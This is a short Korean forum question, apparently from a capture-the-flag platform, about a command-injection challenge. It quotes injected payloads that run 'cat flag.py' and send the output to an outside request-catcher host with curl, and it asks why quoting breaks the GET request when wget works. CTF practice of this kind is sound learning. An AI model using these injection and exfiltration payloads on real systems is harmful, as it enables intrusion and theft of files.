curl을 통한 GET 메소드 요청
해당 문제에서 원격 서버로 GET 요청을 보내면서 쿼리 파라미터에 cat flag.py의 결과를 전달해주려고 했는데,
cat flag.py의 결과에 공백이 존재하여, ""로 감싸야합니다.
curl https://offxuuz.request.dreamhack.games/?query="$(cat+flag.py)"
따라서, 위와 같은 시스템 명령어를 수행하기 위해 아래와 같은 페이로드를 작성하여 Burp Suite를 통해 보냈는데, ""로 감싸면 GET 요청 자체가 보내지지 않습니다.
HEAD /?cmd=curl+https://offxuuz.request.dreamhack.games/?query="$(cat+flag.py)" HTTP/1.1
뭔가 쿼리 파라미터에 ""가 추가된 부분 때문에 문제가 생기는 것 때문인가 해서 %22로 URL 인코딩을 해도 결과는 똑같았습니다.
""로 감싸주지 않고 아래와 같이 페이로드를 보내면 GET 요청은 잘 가지만 FLAG = DH~에서 FLAG만 출력되서 플래그를 확인할 수 없는데,
HEAD /?cmd=curl+https://offxuuz.request.dreamhack.games/?query=$(cat+flag.py) HTTP/1.1
왜 POST 요청과 달리 GET 요청에서는 ""로 감싸면 GET 요청 자체가 원격 서버로 전달되지 않는것일까요?
참고로, wget을 통해 GET 요청을 보냈을 대는 ""로 감싸도 페이로드가 잘 전달되어 원격 서버로 플래그 전체가 전달되었습니다.
읽어주셔서 감사합니다.
ro
댓글 101